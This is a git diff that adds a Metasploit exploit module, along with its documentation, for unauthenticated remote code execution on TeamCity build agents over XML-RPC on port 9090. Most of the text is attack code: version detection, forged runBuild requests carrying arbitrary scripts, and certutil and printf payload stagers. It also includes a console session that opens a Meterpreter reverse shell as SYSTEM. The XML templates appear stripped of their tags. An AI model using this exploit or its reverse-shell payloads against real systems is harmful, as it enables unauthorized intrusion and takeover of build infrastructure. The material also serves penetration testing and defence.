diff --git a/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md b/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md new file mode 100644 index 0000000000..e66588bdf3 --- /dev/null +++ b/documentation/modules/exploit/multi/misc/teamcity_agent_xmlrpc_exec.md @@ -0,0 +1,62 @@ +## Description + +This module allows remote code execution on TeamCity Agents configured to use bidirectional communication via xml-rpc. In bidirectional mode the TeamCity server pushes build commands to the Build Agents over port TCP/9090 without requiring authentication. Up until version 10 this was the default configuration. This module supports TeamCity agents from version 6.0 onwards. + +This module makes use of both a Windows and a Linux command stager. For Linux, the `echo` command stager flavor was replaced with the `printf` command stager flavor due to portability issues associated with `echo` and its options. + +## Vulnerable Application + +This module has been tested successfully with the following TeamCity Agent versions + +* TeamCity 6.0 +* TeamCity 6.5 +* TeamCity 7.0 +* TeamCity 8.0 +* TeamCity 9.0 +* TeamCity 10.0 +* TeamCity 2017 +* TeamCity 2018 + +## Verification Steps + +1. `msfconsole` +2. `use exploit/multi/misc/teamcity_agent_xmlrpc_exec` +3. `set RHOSTS ` +4. `set payload ` +5. `run` + +## Options + +**RPORT** + +Which port the TeamCity Agent is listening on (default: 9090) + +**CMD** + +If specified the module will run the specified command instead of executing the payload + +## Scenarios + +### Windows Server 2012 R2 (x64) with TeamCity Agent 2018.1 + +``` +msf5 > use exploit/multi/misc/teamcity_agent_xmlrpc_exec +msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set RHOSTS 172.16.198.149 +RHOSTS => 172.16.198.149 +msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > set LHOST eth0 +LHOST => eth0 +msf5 exploit(multi/misc/teamcity_agent_xmlrpc_exec) > run + +[*] Started reverse TCP handler on 172.16.198.150:4444 +[*] Found TeamCity Agent running build version 58245 +[*] Constructing Windows payload +[*] Found compatible build config for TeamCity build 58245 +[*] Successfully sent build configuration +[*] Sending stage (179779 bytes) to 172.16.198.149 +[*] Meterpreter session 1 opened (172.16.198.150:4444 -> 172.16.198.149:49178) at 2018-10-03 17:21:12 +0800 + +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +``` diff --git a/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb b/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb new file mode 100644 index 0000000000..066b4e22e9 --- /dev/null +++ b/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb @@ -0,0 +1,708 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'TeamCity Agent XML-RPC Command Execution', + 'Description' => %q( + This module allows remote code execution on TeamCity Agents configured + to use bidirectional communication via xml-rpc. In bidirectional mode + the TeamCity server pushes build commands to the Build Agents over port + TCP/9090 without requiring authentication. Up until version 10 this was + the default configuration. This module supports TeamCity agents from + version 6.0 onwards. + ), + 'Author' => ['Dylan Pindur '], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.tenable.com/plugins/nessus/94675'] + ], + 'Platform' => %w[linux win], + 'Targets' => + [ + ['Windows', { 'Platform' => 'win' }], + ['Linux', { 'Platform' => 'linux' }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 14 2015')) + + deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST') + register_options( + [ + Opt::RPORT(9090), + OptString.new( + 'CMD', + [false, 'Execute this command instead of using command stager', ''] + ) + ] + ) + end + + def check + version = determine_version + if !version.nil? && version >= 15772 + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + version = determine_version + if version.nil? + fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version') + else + print_status("Found TeamCity Agent running build version #{version}") + end + + unless datastore['CMD'].blank? + print_status('Executing user supplied command') + execute_command(datastore['CMD'], version) + return + end + + case target['Platform'] + when 'linux' + linux_stager(version) + when 'win' + windows_stager(version) + else + fail_with(Failure::NoTarget, 'Unsupported target platform!') + end + end + + def windows_stager(version) + print_status('Constructing Windows payload') + + stager = generate_cmdstager( + flavor: :certutil, + temp: '.', + concat_operator: "\n", + nodelete: true + ).join("\n") + stager = stager.gsub(/^(?.{5}\.exe)/, 'start "" \k') + + xml_payload = build_request(stager, version) + if xml_payload.nil? + fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") + end + + print_status("Found compatible build config for TeamCity build #{version}") + send_request(xml_payload) + end + + def linux_stager(version) + print_status('Constructing Linux payload') + + stager = generate_cmdstager( + flavor: :printf, + temp: '.', + concat_operator: "\n", + nodelete: true + ).join("\n") + stager << ' &' + + xml_payload = build_request(stager, version) + if xml_payload.nil? + fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") + end + + print_status("Found compatible build config for TeamCity build #{version}") + send_request(xml_payload) + end + + def execute_command(cmd, version) + xml_payload = build_request(cmd, version) + + if xml_payload.nil? + fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}") + end + + print_status("Found compatible build config for TeamCity build #{version}") + send_request(xml_payload) + end + + def determine_version + xml_payload = %( + + + buildAgent.getVersion + + + ) + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => xml_payload.strip! + }, + 10 + ) + + if !res.nil? && res.code == 200 + xml_doc = res.get_xml_document + if xml_doc.errors.empty? + val = xml_doc.xpath('/methodResponse/params/param/value') + if val.length == 1 + return val.text.to_i + end + end + end + return nil + end + + def send_request(xml_payload) + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'ctype' => 'text/xml', + 'data' => xml_payload + }, + 10 + ) + + if !res.nil? && res.code == 200 + print_status("Successfully sent build configuration") + else + print_status("Failed to send build configuration") + end + end + + def build_request(script_content, version) + case version + when 0..15771 + return nil + when 15772..17794 + return req_teamcity_6(script_content) + when 17795..21240 + return req_teamcity_6_5(script_content) + when 21241..27401 + return req_teamcity_7(script_content) + when 27402..32059 + return req_teamcity_8(script_content) + when 32060..42001 + return req_teamcity_9(script_content) + when 42002..46532 + return req_teamcity_10(script_content) + else + return req_teamcity_2017(script_content) + end + end + + def req_teamcity_2017(script_content) + build_code = Rex::Text.rand_text_alpha(8) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.runBuild + + + + + #{build_id} + x + x + ON_AGENT + x + #{build_code} + x + 3 + + system.build.number + 0 + + + + + + + + + + + + + + + + + + x + false + simpleRunner + x + + + + teamcity.build.step.name + x + + + + + script.content + #{script_content} + + + teamcity.step.mode + default + + + use.custom.script + true + + + + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_10(script_content) + build_code = Rex::Text.rand_text_alpha(8) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.runBuild + + + + + #{build_id} + x + x + ON_AGENT + x + #{build_code} + x + 3 + + system.build.number + 0 + + + + + + + + + + + + + + + + + x + false + simpleRunner + x + + + + teamcity.build.step.name + x + + + + + script.content + #{script_content} + + + teamcity.step.mode + default + + + use.custom.script + true + + + + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_9(script_content) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.runBuild + + + + + #{build_id} + x + x + ON_AGENT + x + 3 + + system.build.number + 0 + + + + + + + + + + + + + + + + x + false + simpleRunner + x + + + + teamcity.build.step.name + x + + + + + script.content + #{script_content} + + + teamcity.step.mode + default + + + use.custom.script + true + + + + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_8(script_content) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.runBuild + + + + + #{build_id} + x + ON_AGENT + x + + + system.build.number + 0 + + + + + + + + + + + + + + + + x + false + simpleRunner + x + + + + teamcity.build.step.name + x + + + + + script.content + #{script_content} + + + teamcity.step.mode + default + + + use.custom.script + true + + + + + 3 + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_7(script_content) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.runBuild + + + + + #{build_id} + x + ON_AGENT + x + + + + system.build.number + 0 + + + + + + + + + + + + + + + + + + + + simpleRunner + x + + + + script.content + #{script_content} + + + teamcity.step.mode + default + + + use.custom.script + true + + + + + + teamcity.build.step.name + x + + + + + 3 + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_6_5(script_content) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.run + + + + + #{build_id} + x + false + ON_AGENT + x + + + + system.build.number + 0 + + + + + + + + + + + + + + + + + + simpleRunner + x + + + + script.content + #{script_content} + + + use.custom.script + true + + + + + + + + + ]]> + + + + + ) + return xml_payload.strip! + end + + def req_teamcity_6(script_content) + build_id = Rex::Text.rand_text_numeric(8) + xml_payload = %( + + + buildAgent.run + + + + + #{build_id} + x + + false + ON_AGENT + x + + + + system.build.number + 0 + + + + + + + + + + + + + + + + + simpleRunner + + + + + + + script.content + #{script_content} + + + use.custom.script + true + + + + + + ]]> + + + + + ) + return xml_payload.strip! + end +end